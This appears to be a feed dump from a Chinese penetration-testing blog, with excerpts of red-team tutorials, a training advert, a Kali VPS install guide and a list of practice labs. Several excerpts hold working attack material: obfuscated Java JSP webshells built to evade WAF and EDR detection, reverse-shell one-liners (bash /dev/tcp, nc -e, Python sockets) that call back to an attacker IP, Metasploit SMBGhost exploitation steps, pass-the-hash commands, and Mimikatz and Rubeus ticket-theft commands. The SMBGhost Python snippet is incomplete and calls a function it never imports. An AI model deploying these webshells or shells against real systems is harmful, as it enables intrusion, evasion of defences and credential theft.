泷羽Sec - 渗透学习
type: channel
link: https://longyusec.com/category/shentouceshi/
items: 攻防演练红队横向移动的隐蔽化技巧与实战
items: Linux用户权限配置审计与提权风险排查实操指南
items: 30种Java一句话木马免杀方法
items: Windows CVE-2020-0796 SMBGhost提权实战教程
items: 非约束委派攻击原理与域内TGT票据捕获实战解析
items: Linux反弹Shell实战：Bash/NC/Python/PHP实操指南
items: 泷羽Sec红队培训，OSCP+国际渗透测试专家中级认证
items: 在云服务器，vps中安装kali，2026最新教程
items: 全网最全渗透测试靶场推荐【2026最新靶场推荐】，拒绝信息差
items: 告别burp，2026最新yakit + proxifier小程序抓包教程

攻防演练红队横向移动的隐蔽化技巧与实战
type: item
date: 2026-04-29T13:58:42+08:00
description: 在攻防演练场景中，红队完成外网打点获取初始权限后，横向移动是向内网纵深推进、获取高价值目标权限的关键步骤。常规横向移动工具与操作会产生明显的流量特征与系统日志，极易被蓝队的监控设备捕获，导致攻击链路被阻断。本文结合实战场景，讲解红队横向移动过程中的隐蔽化操作技巧，附带完整的实操步骤与命令输出，适配攻防演练的真实对抗环境。本次实战环境与前置条件说明攻击机环境 操作系统：Kali Linux 2024.4 IP 地址：192.168.31.100 预装工具：impacket、crackmapexec、evil-winrm，所有工具均为官方最新稳定版 靶机内网环境 跳板机：Windows 10 专业版 22H2，IP 地址 192.168.31.101，已获取本地管理员权限，本地管理员账号为 admin，已抓取该账号的 NTLM 哈希为：aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 目标机：Windows Server 2019，IP 地址 192.168.31.102，加入 test.local 域，与跳板机同网段，开放 445 (SMB)、5985 (WinRM) 端口，本地管理员账号与跳板机本地管理员账号密码一致 蓝队防护环境：内网部署基础流量监控设备，对 PsExec、wmiexec 等常规横向工具的默认流量有告警规则，终端开启 Windows 安全日志审计，对异常登录行为进行记录 前置条件红队已通过外网打点完成跳板机 192.168.31.101 的权限获取，已通过跳板机建立 SOCKS 代理，将攻击机 Kali 的流量代理进入内网，代理端口为 10808。红队横向移动隐蔽化实战技巧与操作1、内网代理流量的前置伪装操作红队横向移动的第一步，是避免攻击机 IP 直接暴露在内网流量中，通过已控跳板机建立 SOCKS 代理，将所有横向操作的流量通过跳板机转发，让内网流量的源 IP 均为跳板机地址，降低蓝队溯源的概率。首先完成 proxychains 代理配置，将攻击机流量全部通过跳板机转发，配置命令如下：kali@kali:~$ sudo vim /etc/proxychains4.conf # 配置文件末尾添加如下内容，注释掉默认的socks4配置 socks5 127.0.0.1 10808 配置完成后，通过 crackmapexec 测试目标机的连通性，验证代理是否正常生效，命令与输出结果如下：kali@kali:~$ proxychains crackmapexec smb 192.168.31.102 [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 SMB 192.168.31.102 445 WIN-2029DC [*] Windows Server 2019 Standard 17763 x64 (name:WIN-2029DC) (domain:test.local) (signing:True) (SMBv1:False) 通过上面的操作，所有横向流量都会通过跳板机 192.168.31.101 进行转发，蓝队在流量监控中只会看到跳板机与目标机的通信，不会直接捕获到攻击机的 IP 地址，减少攻击链路的暴露风险。如果测试过程中出现连通性失败，需要检查跳板机的代理服务是否正常运行，以及目标机的防火墙是否拦截了跳板机的访问请求。2、哈希传递攻击的免告警配置与实操哈希传递是红队内网横向移动中常用的技术，通过已获取的 NTLM 哈希，无需破解明文密码即可完成对目标机的身份认证。常规的哈希传递工具会在流量中留下固定的工具特征，同时会在目标机生成大量异常日志，需要通过参数调整与协议选择，降低被蓝队发现的概率。实操过程中需要遵循以下操作规范：1、优先选择 SMB 协议进行哈希验证，避免使用默认的 WMI 执行命令，SMB 协议的认证流量在内网中更为常见，蓝队的监控规则相对宽松2、使用 --local-auth 参数指定本地认证，避免向域控发送认证请求，减少域内日志的生成3、控制命令执行的频率，避免短时间内多次发起认证请求，触发蓝队的暴力破解告警规则首先通过 crackmapexec 完成哈希传递的权限验证，确认账号在目标机的权限情况，命令与输出结果如下：kali@kali:~$ proxychains crackmapexec smb 192.168.3…

Linux用户权限配置审计与提权风险排查实操指南
type: item
date: 2026-04-20T16:07:03+08:00
description: 实操环境与前置条件本次实操使用的系统为Kali Linux 2024.4版本，内核版本6.8.0，测试主机固定IP地址为192.168.31.120，网关192.168.31.1，DNS服务器为223.5.5.5。 前置条件如下： 1、测试主机已完成基础系统更新，具备可正常访问的官方软件源 2、操作账号拥有sudo权限，可执行特权命令完成审计与排查操作 3、系统已预装find、stat、sudo等基础工具，未安装的组件可通过apt命令完成部署 4、本次操作仅用于授权范围内的安全测试，请不要在未获得书面授权的系统上执行相关操作一、Linux用户权限基础配置审计用户权限配置是Linux系统安全的基础，异常的权限配置会直接成为红队的提权入口，该环节将从用户账号、sudo规则、文件目录权限三个维度完成全流程审计。1.1 系统用户与组信息审计Linux系统的用户与组信息集中存储在/etc/passwd、/etc/shadow、/etc/group三个核心文件中，审计的核心是排查异常账号、越权配置与权限泄露风险。首先执行以下命令，查看系统全量用户配置，重点关注UID为0的账号与可登录用户：root@kali:~# cat /etc/passwd | head -15 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin kali:x:1000:1000:kali:/home/kali:/bin/bash test:x:1001:1001:test:/home/test:/bin/bash 配置说明：Linux系统中UID为0代表最高系统权限，正常情况下仅root账号的UID为0；shell字段为/bin/bash、/bin/sh等可登录shell的账号，需核实是否为授权使用的账号，其余系统账号默认应使用/sbin/nologin禁止登录。执行以下命令，专项排查UID为0的非root账号，该类账号属于高风险越权账号：root@kali:~# awk -F: '$3==0 && $1!="root" {print $1}' /etc/passwd 若命令有输出结果，说明系统存在额外的特权账号，需立即核实账号来源并清理。接下来审计/etc/shadow文件，该文件存储用户密码哈希值，权限配置错误会直接导致密码泄露。执行以下命令查看文件权限：root@kali:~# stat /etc/shadow File: /etc/shadow Size: 1635 Blocks: 8 IO Block: 4096 regular file Device: 8,1 Inode: 262153 Links: 1 Access: (0600/-rw-------) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2026-04-20 10:20:00.000000000 +0800 Modify: 2026-04-15 14:30:00.000000000 +0800 Change: 2026-04-15 14:30:00.000000000 +0800 Birth: 2026-03-01 09:00:00.000000000 +0800 正常配置下，/etc/shadow文件的权限应为0600，属主与属组均为root。若权限配置大于0600，比如出现其他用户可读权限，会导致密码哈希被非授权用户获取，需立即修复权限。最后审计用户组配置，重点关注root组与sudo组的成员，执行以下命令：root@kali:~# grep -E 'sudo|ro…

30种Java一句话木马免杀方法
type: item
date: 2026-04-16T15:48:46+08:00
description: 前置合规声明本文所有内容仅用于授权范围内的Web应用安全测试、红蓝对抗演练与网络安全人才合规培养，严格遵循《中华人民共和国网络安全法》《数据安全法》《刑法》第285/286条等相关法律法规。严禁将本文相关技术用于任何未经授权的网站入侵、服务器攻击、数据窃取等违法违规行为，任何未授权在他人Web容器/服务器中植入恶意代码的行为，都将承担相应的民事、行政乃至刑事责任。本文所有代码仅用于安全研究与授权测试，使用者需自行承担违规使用带来的全部法律责任。Java一句话木马免杀的底层逻辑Java Web一句话木马的核心，是通过可控的用户输入，调用Java代码执行/系统命令执行机制，实现远程命令执行、文件管理等操作。而WAF/EDR对Java一句话木马的查杀，核心围绕5个维度展开： 静态特征匹配：检测Runtime.getRuntime().exec()、ProcessBuilder、Class.forName()、Method.invoke()、JSP<% %>脚本标签等敏感关键词的连续组合； 语义分析：识别「用户可控输入→反射调用→命令执行」的恶意执行链路； 字节码检测：扫描JSP编译后的Servlet字节码，识别恶意类/方法调用； 行为检测：运行时检测动态类加载、进程创建、文件读写等恶意行为； 沙箱动态分析：将JSP/Class放入沙箱运行，捕获恶意行为特征。 所有免杀方法的核心本质，都是破坏WAF的检测维度：要么拆分/隐藏敏感类名、方法名，要么打乱执行链路，要么利用Java合法语法/业务逻辑伪装恶意行为，要么直接操作字节码隐藏特征，最终实现「静态无特征、语义无恶意、行为无异常」。本文所有免杀方法均适配Java 8+主流版本（兼容Java 11/17），覆盖Tomcat、Jetty、WebLogic等主流Web容器，按「新手入门→进阶混淆→极致免杀」的梯度排序，每一种方法均标注核心原理、实战代码、适配环境与避坑提示，拿来即可落地。30种Java一句话木马免杀方法第一类：基础关键词拆分与字符串变形免杀（方法1-5）核心逻辑：把Runtime、exec、ProcessBuilder等敏感类名、方法名拆分为多个片段，运行时再拼接还原，直接破坏WAF的连续字符串特征匹配，新手零门槛上手。方法1：字符串简单拼接免杀免杀原理：将Runtime、getRuntime、exec等敏感关键词拆分为多个无意义的字符串片段，运行时拼接还原，绕过WAF对连续关键词的匹配。 实战代码（JSP形式）：<%@ page import="java.lang.Runtime" %> <% String cls = "Run" + "time"; String m1 = "get" + "Runtime"; String m2 = "ex" + "ec"; Class<?> c = Class.forName("java.lang." + cls); Object obj = c.getMethod(m1).invoke(null); c.getMethod(m2, String.class).invoke(obj, request.getParameter("cmd")); %> 适配环境：全Java版本+主流Web容器 避坑提示：不要直接线性拼接，可插入无关字符串再替换，例如String cls = "Run#time"; cls = cls.replace("#", "");，免杀效果更强。方法2：字符串逆序免杀免杀原理：把敏感类名、方法名逆序处理，运行时通过StringBuilder.reverse()还原，静态扫描无法直接匹配到正向的敏感关键词。 实战代码（JSP形式）：<% String cls = new StringBuilder("emitnuR").reverse().toString(); // Runtime逆序 String m1 = new StringBuilder("emitnuRteg").reverse().toString(); // getRuntime逆序 String m2 = new StringBuilder("cexe").reverse().toString(); // exec逆序 Class<?> c = Class.forName("java.lang." + cls); Object obj = c.getMethod(m1).invoke(null); c.getMethod(m2, String.class).invoke(obj, request.getParameter("cmd")); %> 适配环境：全Java版本+主流Web容器 避坑提示：可配合Base64编码逆序，双重变形绕过深度特征匹配。方法…

Windows CVE-2020-0796 SMBGhost提权实战教程
type: item
date: 2026-04-15T22:27:28+08:00
description: 法律责任声明：本文内容仅用于网络安全技术学习与研究，请不要在未获得明确授权的情况下使用文中方法对非本人所有的系统进行操作，任何非法使用造成的法律责任由使用者自行承担。一、漏洞背景介绍CVE-2020-0796是2020年3月曝光的Windows SMBv3.1.1协议远程代码执行漏洞，业内也将其称为SMBGhost漏洞。该漏洞源于SMB协议在处理压缩数据包时存在内存破坏缺陷，攻击者可以通过构造特制的SMB数据包，在目标系统上远程执行任意代码，甚至直接获取系统最高权限。受影响的系统包括Windows 10 1903/1909、Windows Server 1903/1909等未安装对应补丁的版本。我在第一次接触这个漏洞的实战时，曾因为对靶机环境不熟悉走了不少弯路，接下来会结合实际操作流程和遇到的问题，完整还原整个实战过程。二、实验环境准备本次实战需要搭建两个互通的测试环境： 1、攻击机：使用Kali Linux 2023版，提前安装好scapy、metasploit框架等工具 2、靶机：使用未打KB4551762补丁的Windows 10 1903版本，确保靶机开启SMB服务并开放445端口 3、网络环境：攻击机和靶机处于同一局域网，或者通过端口映射实现外网互通实操小提示：初次测试时我忘记关闭靶机自带的防火墙，导致扫描时一直无法检测到445端口，后来临时关闭靶机防火墙后才解决问题。请不要忽略防火墙配置对测试的影响。三、漏洞检测步骤在正式利用漏洞前，需要先确认靶机是否存在该漏洞，常用的检测方式有两种： 1、使用Nmap脚本检测 首先更新Nmap的SMB脚本库，避免出现脚本不兼容的问题，执行命令：sudo apt update && sudo apt install nmap-scripts 然后使用专用脚本扫描靶机的445端口：nmap -p 445 --script smb-v3-compression 靶机IP地址 如果扫描结果中出现VULNERABLE: SMBv3 compression enabled的提示，则说明靶机存在SMBGhost漏洞。我第一次使用这个命令时，因为脚本库未更新，一直返回无结果，更新后才正常识别到漏洞。2、使用Metasploit辅助模块检测 启动Metasploit框架后，加载SMB扫描模块：msfconsole use auxiliary/scanner/smb/smb2 set RHOSTS 靶机IP地址 run 如果模块返回The target is vulnerable to CVE-2020-0796，则可以确认漏洞存在。四、漏洞利用与提权实战本次实战我们使用Metasploit的官方exp模块进行提权操作，步骤如下： 1、加载SMBGhost漏洞利用模块use exploit/windows/smb/smbghost_rce 2、配置攻击参数# 设置靶机IP地址 set RHOSTS 靶机IP地址 # 设置攻击机监听的本地IP地址 set LHOST 攻击机局域网IP地址 # 设置监听端口，建议使用非默认端口避免被拦截 set LPORT 4444 3、启动监听并执行exprun 如果执行成功，你会看到弹出一个 Meterpreter 会话，输入getuid命令可以看到当前会话的用户权限为NT AUTHORITY\SYSTEM，也就是直接获取了系统最高权限，完成提权操作。实操踩坑记录：有一次执行exp后一直出现连接超时，排查后发现是靶机的SMB服务被临时重启过，重新确认445端口开放后才恢复正常。另外部分精简版的Windows 10会禁用SMBv3压缩，这类靶机无法触发该漏洞。如果不想使用Metasploit，也可以使用公开的Python exp脚本进行测试，以下是简化的示例代码（仅作学习参考）：from scapy.all import IP, TCP, raw import sys def smbghost_exploit(target_ip): # 构造TCP SYN包建立SMB连接基础 syn_pkt = IP(dst=target_ip)/TCP(dport=445, flags="S") resp = sr1(syn_pkt, timeout=2, verbose=0) if not resp: print("无法连接到靶机445端口") return # 后续可根据协议规范构造恶意SMB压缩数据包 print(f"已完成与{target_ip}的SMB基础连接") if __name__ == "__main__": if len(sys.argv) != 2: print(f"使用方法: {sys.argv[0]} <靶机IP地址>") sys.exit(1) smbg…

非约束委派攻击原理与域内TGT票据捕获实战解析
type: item
date: 2026-04-14T22:37:25+08:00
description: 在企业的Active Directory域环境中，Kerberos认证协议作为主流的身份验证方案，支撑着数千台主机与用户的权限交互。为了简化跨服务的授权流程，委派机制被广泛应用，但其中非约束委派因设计上的天然缺陷，成为域渗透中极具威胁的攻击向量之一。本文将从基础概念出发，拆解非约束委派的运行逻辑，讲解攻击原理与TGT票据捕获的完整流程，同时给出对应的防御建议，帮助企业安全人员识别与防范这类高危攻击。一、AD域与Kerberos认证基础AD域是微软推出的集中式目录服务，用于统一管理域内的用户、计算机、组等资源，而Kerberos是AD域默认的身份验证协议，其关键流程依赖四个角色：客户端、密钥分发中心（KDC，包含认证服务AS和票据授予服务TGS）、资源服务器，以及KRBTGT账户（KDC的内置服务账户，负责签名所有的Kerberos票据）。Kerberos的完整验证流程分为五个步骤： 1、客户端向AS发起认证请求，提交自己的用户名，AS通过域控制器的用户数据库验证用户身份后，生成会话密钥与TGT，将其加密后返回给客户端； 2、客户端收到加密的TGT与会话密钥后，解密得到会话密钥，随后向TGS请求服务票据（ST），提交要访问的资源名称与TGT； 3、TGS验证TGT的有效性后，生成对应资源的服务票据与新的会话密钥，加密后返回给客户端； 4、客户端携带服务票据访问资源服务器，服务器验证票据的签名与有效性后，允许客户端访问对应资源； 5、双方完成数据交互后，会话密钥会被销毁，避免被窃取。其中TGT也就是票据授予票据，是Kerberos认证中的核心凭证，默认有效期为10小时，可更新周期最长为7天，其内部包含客户端身份信息、会话密钥与过期时间，由KRBTGT账户的加密密钥签名，一旦获取到合法的TGT，攻击者就能伪造对应用户的身份发起任意域内操作。二、非约束委派的运行逻辑委派机制的本质是允许服务模拟客户端的身份，访问其他受保护的资源，比如一台WEB服务器需要调用后端的数据库服务，就需要通过委派将客户端的身份传递给数据库服务。根据配置方式的不同，委派分为约束委派与非约束委派两类： 1、约束委派：服务只能模拟预先指定的用户，访问预先配置的资源，需要在AD中显式设置允许的用户与资源列表，安全性相对较高； 2、非约束委派：服务可以模拟任意访问它的客户端，访问任意域内资源，无需预先配置允许的用户与资源，只要开启该功能，就能直接获取到客户端的完整TGT。当客户端访问开启了非约束委派的主机时，KDC会将客户端的TGT与服务票据一同返回给该主机，而非约束委派的服务会将TGT保存在本地的LSASS进程内存中，以便后续模拟客户端身份访问其他资源。这就为攻击者留下了可乘之机：只要攻击者获取到开启非约束委派主机的本地管理员权限，就能导出内存中保存的所有TGT票据。三、非约束委派攻击的完整流程1、确认域内存在开启非约束委派的主机：可以通过PowerShell命令快速查询，命令如下：Get-ADComputer -Filter {UserAccountControl -band 0x100000} -Properties UserAccountControl, Name, DNSHostName 该命令会筛选出所有开启了非约束委派的计算机账户，同时输出主机名称与DNS地址，方便后续定位目标。 2、获取普通域用户权限：攻击者可以通过钓鱼邮件、未修补的系统漏洞、弱口令爆破等方式，获取一台普通域成员主机的本地管理员权限，或者直接拿到一个普通域用户的账号密码。 3、诱导高权限用户访问目标主机：攻击者需要诱导域管理员或其他高权限用户访问开启了非约束委派的主机，比如通过共享文件夹、内部通知等方式，让高权限用户登录该主机或访问其共享资源。当高权限用户完成访问后，其TGT就会被保存在该主机的LSASS内存中。 4、导出内存中的TGT票据：攻击者在获取目标主机的本地管理员权限后，可以使用Mimikatz工具导出内存中的Kerberos票据，具体命令如下：mimikatz.exe "privilege::debug" "sekurlsa::tickets" exit 运行该命令后，工具会列出当前LSASS进程中保存的所有Kerberos票据，其中就包含高权限用户的TGT，攻击者可以将其导出为文件或提取Base64编码的票据内容。 5、利用TGT发起后续攻击：攻击者可以使用Rubeus工具将导出的TGT注入到当前进程中，实现身份伪造，命令示例如下：Rubeus.exe ptt /ticket:base64编码的TGT票据 注入成功后，攻击者就能以高权限用户的身份请求任意域内资源的服务票据，比如访问域控制器的LDAP服务，修改域内权限，甚至获取KRBTGT账户的相关信息，完全接管整个域环境。…

Linux反弹Shell实战：Bash/NC/Python/PHP实操指南
type: item
date: 2026-04-14T19:56:27+08:00
description: 某企业的测试服务器因为安全策略限制了所有入站端口，运维工程师小李需要远程排查服务器上的日志问题，直接通过SSH连接被防火墙拦截。这时候，反弹Shell就成了他的解决办法——通过让目标主机主动发起连接，绕过入站限制，建立远程控制会话。本文就结合Bash、NC、Python、PHP四种常用工具，详细讲解反弹Shell的实战操作和注意事项。反弹Shell的基本原理反弹Shell和正向连接的主要区别在于连接发起方：正向连接是本地机器主动连接目标主机的开放端口，而反弹Shell则是目标主机主动连接本地监听的端口，将Shell会话传输过来。这种方式可以规避目标主机的入站防火墙限制，在很多受限环境中非常实用。 操作的基本流程分为两步： 1、在本地机器上开启一个端口监听，等待目标主机的连接 2、在目标主机上执行反弹命令，让主机主动连接本地监听端口，完成Shell会话的传递Bash反弹Shell实战Bash是绝大多数Linux发行版自带的Shell工具，不需要额外安装，是最常用的反弹Shell手段之一。操作步骤首先在本地机器上开启端口监听，这里我们选择4444端口（1024以上的端口无需管理员权限）：nc -lvnp 4444 参数解释：-l表示开启监听模式，-v显示详细连接信息，-n不进行域名解析，-p指定监听端口。 然后在目标主机上执行反弹命令：bash -i >& /dev/tcp/你的本地IP/4444 0>&1 命令拆解： bash -i：启动交互式Shell，支持用户输入交互命令 & /dev/tcp/你的本地IP/4444：将标准输出和标准错误输出重定向到TCP连接中 0>&1：将标准输入重定向到标准输出对应的连接，实现双向通信 如果目标主机的Bash路径不是默认的/bin/bash，可以替换为完整路径，比如/usr/bin/bash -i ...。 常见变体如果目标主机使用的是轻量系统，比如Alpine Linux，默认没有安装Bash，可以用sh替代：sh -i >& /dev/tcp/你的本地IP/4444 0>&1 另外还可以使用UDP协议的反弹命令，适合部分限制了TCP的场景：bash -i >& /dev/udp/你的本地IP/4444 0>&1 NC反弹Shell实战NC也就是Netcat，被称为“网络瑞士军刀”，支持多种网络操作，也是反弹Shell的常用工具。不过需要注意不同版本的NC功能有差异：GNU版本的NC支持-e参数，而BusyBox编译的精简版本则没有该参数。GNU NC实战（带-e参数）本地监听命令和之前一致：nc -lvnp 4444 目标主机上执行反弹命令：nc 你的本地IP 4444 -e /bin/bash 这里的-e参数表示将NC连接的输入输出重定向到后面的bash程序，实现Shell会话的传递。精简版NC（无-e参数）实战很多嵌入式设备或者轻量系统使用的是BusyBox的NC，没有-e参数，这时候可以通过命名管道实现双向通信：mknod backpipe p && nc 你的本地IP 4444 0<backpipe | /bin/bash 1>backpipe 命令拆解： 1、mknod backpipe p：创建一个命名管道backpipe，用于传递数据 2、nc 你的本地IP 4444 0<backpipe：将管道的内容作为NC的输入 3、| /bin/bash 1>backpipe：将bash的标准输出重定向到管道中，实现双向数据流转Python反弹Shell实战Python几乎预装在所有现代Linux发行版中，而且语法简洁，反弹Shell的命令兼容性很强，适合大多数有Python环境的目标主机。基础反弹命令本地监听依旧使用nc -lvnp 4444，目标主机执行以下命令：python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("你的本地IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' 命令拆解： 1、导入socket、subprocess、os三个模块，分别用于网络连接、执行系统命令和文件描述符操作 2、创建TCP socket连接，连接到本地监听端口 3、使用os.dup2将socket的文件描述符替换为标准输入、输出和错误输出，让bash的所有输入输出都通过socket传输 4、调用subprocess.call启动交互式bash Shell 如果目标…

泷羽Sec红队培训，OSCP+国际渗透测试专家中级认证
type: item
date: 2026-04-11T16:12:59+08:00
description: 泷羽 Sec 团队专注红队教学与 OSCP 培训，在 B 站免费提供从基础到内网渗透的课程，适合各类学习者。团队的泷老师是资深红队队长，持有 OSEP、CISSP、OSCP 等高含金量证书，教学有保障。课程分析是一个以OSCP 实战与证书通过为目标，兼顾红队实战技巧与攻防思维的系统化培训。课程由理论课件（20 章 PDF）+ 大量逐日/逐机实战视频（day1–day72 等靶机/专题）组成，形成“知识讲解 → 工具演示 → 靶机实操 → 复盘总结”的闭环训练体系。覆盖范围：从基础信息收集、端口/服务扫描、Web/SQL 注入、客户端攻击、密码学、到本地提权（Windows/Linux）、端口转发与隧道、免杀、Metasploit、Active Directory（AD）枚举与高级域攻击（Kerberoast、AS-REP、票据伪造、DCSync 等）、横向移动、持久化，以及综合靶机演练与考证策略。实战资源：视频目录包含大量实操靶机，覆盖单机与域环境、应用漏洞与二进制漏洞、容器与特殊平台（Node）等真实场景。教学逻辑：讲解工具原理与命令（例如 nmap、gobuster、Burp、msf、mimikatz、BloodHound、socat、chisel、dnscat2、hashcat 等），再以视频靶机练习验证与巩固，最后通过“组合模拟攻击”训练完整攻防链路。课程亮点（为什么值得学）体系齐全、衔接明确：从入门到域渗透、从漏洞利用到免杀，课程覆盖 OSCP 考试和实战常见能力点。大量靶机练习：视频库丰富，实战场景真实，便于把理论迅速落地。工具和命令详尽：每章均有具体命令与工具用法示例，便于学员复制复现。重视提权与域攻防：Windows/Linux 提权、AD 认证攻击与横向移动讲解详尽，是通过高级靶机与企业级模拟的关键能力。实战闭环训练：第19/24章将技术串联为完整攻防流程，适合考试演练与项目实战。课程说明（面向谁、学完能做什么、考证对接）面向人群想通过 OSCP 或提升渗透测试实战能力的学员。有一定 Linux/网络基础，或愿意投入时间补基础的进阶学习者。企业安全人员、红队/蓝队工程师、CTF 选手希望系统化提升实战技能者。前置要求熟悉 Linux 基本命令、Windows 基本管理操作。对网络协议（TCP/IP、HTTP、DNS）有初步理解。基本编程或脚本能力（bash、PowerShell、Python）有助于快速吸收。学习目标（学完后你能）独立完成一次单机靶机的完整渗透测试：信息收集 → 漏洞利用 → 本地提权 → 清理痕迹。在有权限的企业 AD 环境中进行枚举、Kerberoast/AS-REP 等认证攻击、票据/传递/横向移动并可能获取域控（仅限授权实验室）。使用常用渗透工具（nmap、Burp、sqlmap、msf、mimikatz、BloodHound、socat、chisel 等）并能根据现场情况灵活组合。修改和调试 exploit、生成与混淆 payload（基础免杀）、在被防护环境下做端口转发与隧道穿透。针对 OSCP 考试场景掌握应试策略（如实操习惯、复盘方法、时间与任务分配、工具限制下的手工技巧）。与 OSCP 的对接课程重点与 OSCP 常考点高度一致：手工漏洞利用、提权、内网横向、复盘报告写作等。课程中的大量OSCP专属靶机视频非常适合 OSCP 的练习与模拟考试。注意 OSCP 考试要求的道德与授权差异：考试环境只允许对授权靶场/练习机使用，不允许攻击真实无授权目标。课程主讲：泷老师前高级红队队长配合公安打过多起案件，7年红队经验目前任职某知名安全大厂红队持有OSEP，CISSP，OSCP国际渗透测试顶级认证证书，有望冲刺OSCE3曾多次带队拿下国护前三名课程助教白小羽，泷羽Sec作者：V：baibaixiaoyu2024关于通过率目前针对于已经报名OSCP+ 官方offsec考试的学员是100%通过率，我们团队有师傅精通免杀，有师傅精通src，有师傅精通红队渗透，有师傅全栈前后端开发，各有所长3999元只是我们认识的开始，服务永不停止最新OSCP+认证课程大纲下载地址下载地址学员对我们的评价另外我们并不鼓励我们的学员贷款或者找别人借钱上课或者考证，能白嫖尽量白嫖下面是一位我们学员在龙老师的指导下在校就通过osep认证的学员，一对一的就业推荐下面是招聘方视角通过我们指导拿下offer数不胜数了，这位是我们的”大师兄“，目前在北京实习关于hvv我们也有靠谱的渠道，不用担心去当免费劳动力关于自媒体，若您发布的文章很有价值，我们会帮您转发您的文章以及作品/工具。。。。。。。。。。。等等案例就不放出来了3999，只是我们认识的开始，服务用不停止，泷羽Sec安全团队唯一官网，https://longyus…

在云服务器，vps中安装kali，2026最新教程
type: item
date: 2026-01-31T18:42:09+08:00
description: 在vps中安装kali首先我这里使用的服务器是薄荷云的香港服务器，CN2线路，配置高还便宜，访问速度还快16H16G10M只需39.9起，打开如下连接即可https://www.boheidc.cn/aff/QOWYLYCV找到订购产品界面，选择香港轻量云，买一个配置相对好一点的19.9试用一个月的4H4G10M的服务器，或者旁边的0.5试用，这样安装的时候相对来说会快一点购买成功后，选择云服务器，进入购买的这台服务器详细界面你会看到登录信息界面然后打开cmd连接ssh root@[ip] 连接成功后按照如下命令执行wget https://boot.netboot.xyz/ipxe/netboot.xyz.img dd if=netboot.xyz.img of=/dev/vda 然后重启进入VNC选择linux选择要安装的系统为kali linux选择系统语言，一路回车配置主机名，使用kali配置域名为空就行配置代理信息为空，因为我们不需要，直接用默认的就行设置用户名设置密码，123456回车后等待安装即可选择第一个虚拟磁盘默认第一个完成分区操作并修改写入磁盘写入磁盘，选择是等待安装选择安装的类型，默认即可，直接回车再等待安装软件干会儿饭~下单用外卖红包+返现，能买30多块钱的东西，只要10几块哎呀，干完饭了，咋还没安装完成来玩游戏吧，抓大鹅 玩了一把抓大鹅后，终于安装完成了，开始安装GRUB启动器讲GRUB启动引导器安装到主驱动器，选择是选第二个安装完成，回车选择继续，重启设备重启后就能看到kali的默认启动界面了至此kali安装完成，输入账号密码xiaoyu / 123456开启ssh登录sudo # 提权 systemctl start ssh 使用本地的cmd ssh连接，sshkai'qi成功！最后配置ssh开启自启systemctl enable ssh 配置完成，奖励自己一把抓大鹅吧！！

全网最全渗透测试靶场推荐【2026最新靶场推荐】，拒绝信息差
type: item
date: 2026-01-08T12:44:08+08:00
description: 这次又新增了五个常用的靶场平台，帮助师傅们在学习渗透测试的路上不迷路，在开始之前呢推荐一个永久的渗透测试知识库，点击下方链接领取1、cyberstrikelab网址：https://www.cyberstrikelab.com/CyberStrikeLab 中的综合场景包含了域渗透和内网渗透，总体上web偏简单，内网较难，也是从基础的永痕之蓝漏洞的3台靶机开始，慢慢的到7-8台内网机器，想要在这多层网络中横向移动，还是很有挑战性的，其中部分靶机涉及到免杀，需要使用最新的免杀手法攻克靶机。相关学习文章：【域渗透】CyberStrikelab靶场lab1-lab11，3w字超详细推荐指数：⭐⭐⭐⭐⭐2、hackthebox网址：https://app.hackthebox.com/Hack The Box 是一个国际知名的网络安全渗透测试实战靶场平台，提供在线的渗透测试环境与挑战，帮助网络安全学习者与从业者提升实战技能。对于HTB的排行，在国外的企业中还是很看重的，想冲外企的师傅们可以冲一冲HTB排行推荐指数：⭐⭐⭐⭐⭐⭐相关学习文章：HTB-Chemistry靶机渗透教程3、BurpSuite靶场https://portswigger.net/web-security/all-labs包含了各种web漏洞，比如http污染，走私，sql注入，xss，xxe等等，非常有学习参考的价值的，并且他们还推出了BSCP认证（含金量不大）推荐指数：⭐⭐⭐⭐4、好靶场http://www.loveli.com.cn/覆盖从0学习，通用漏洞，SRC漏洞，CTF等实战环境，无门槛。 独创技能树体系，帮你科学规划成长路径，高效进阶。每个靶场都有独立的故事情节，让你在打靶场学习SRC漏洞挖掘思路的同时不无聊。并且很多靶机都是自己的原创靶机推荐指数：⭐⭐⭐⭐⭐5、极域靶场地址：https://longyusec.com 预计年后推出泷羽Sec作者白小羽自研，目前内测中，这里做一个预告，目标是打造一个从0开始学渗透的原创靶场系列，原本是打算叫零域靶场，但是已经有了零域网安，就换了一个名推荐指数：⭐⭐⭐6、OffSec-PG靶场https://www.offsec.com/OffSec靶场，也就是PG靶场，OSCP，OSEP等认证的官方靶场，分别代表着国际渗透测试中级认证（OSCP），和高级认证（OSEP），红队必考证书，也是走向外企必考的证书之一这些证书也是全球公认的实战型渗透测试认证标杆，以严苛的实操考试著称，在企业招聘渗透测试工程师时认可度极高。国内近几年也开始认可OffSec系列证书，被浙江省规划为高级认证（OSEP）中，其中OSCP为中级认证若您需要OSCP和OSEP相关的培训，可以咨询我们推荐指数：⭐⭐⭐⭐⭐⭐7、LingJing（灵境）靶机https://github.com/414aaj/LingJingLingJing 是一款专为复杂网络环境渗透测试量身打造的桌面级本地网络安全靶场平台。手机扫码下载推荐指数：⭐⭐⭐⭐8、hackmyvm网址：https://hackmyvm.eu/HackMyVM 是一个国际性的网络安全靶场平台，提供多种虚拟机镜像靶机，用户可使用 VMware 或 VirtualBox 运行，挑战目标是获取操作系统的 root 权限和查看 